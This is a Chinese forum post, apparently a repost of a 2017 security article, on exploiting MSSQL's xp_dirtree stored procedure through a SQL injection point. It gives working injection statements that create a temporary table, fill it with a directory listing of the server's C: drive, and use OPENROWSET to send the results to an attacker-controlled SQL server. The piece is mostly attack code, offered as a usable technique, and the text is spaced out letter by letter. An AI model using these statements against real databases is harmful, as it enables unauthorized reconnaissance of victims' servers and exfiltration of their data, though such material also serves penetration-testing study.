搜索

[20946] 2017-11-17_xp_dirtree利用方法

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2017-11-17_xp_dirtree利用方法 x p _ d i r t r e e 利 用 方 法 L e m o n S e c   2 0 1 7 - 1 1 - 1 7 朋 友 给 我 一 个 注 入 点 ， 开 启 了 x p _ c m d s h e l l 、 x p _ d i r t r e e ， 因 为 权 限 不 够 ， 执 行 命 令 都 是 失 败 了 ， 我 只 是 整 理 下 了 x p _ d i r t r e e 利 用 方 式 的 四 句 话 ！ - 建 立 一 个 临 时 表 , 一 般 的 表 我 们 是 无 办 法 建 立 的 , 我 们 只 能 建 立 临 时 表 c r e a t e   t a b l e   # # n o n a m e d ( d i r   n t e x t , n u m   i n t ) - 调 用 存 储 过 程 把 执 行 回 来 的 数 据 存 到 临 时 表 里 面 i n s e r t   # # n o n a m e d   e x e c u t e   m a s t e r . . x p _ d i r t r e e   ' c : ' , 1 - - 然 后 采 用 o p e n r o w s e t 函 数 把 临 时 表 的 数 据 导 到 本 地 M S S Q L   的 d i r t r e e 表 里 面 了 可 不 需 要 ： i n s e r t   i n t o   o p e n r o w s e t ( ' s q l o l e d b ' ,   ' 1 9 2 . 0 . 0 . 1 ' ; ' u s e r ' ; ' p a s s ' ,   ' s e l e c t   *   f r o m   N o r t h w i n d . d b o . d i r t r e e ' ) s e l e c t   *   f r o m   # # n o n a m e d 以 上 方 法 , 也 就 是 说 p u b l i c 可 以 遍 历 用 户 服 务 器 的 目 录   具 体 有 什 么 利 用 价 值 嘛 ~ 呵 呵 见 仁 见 智 了
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理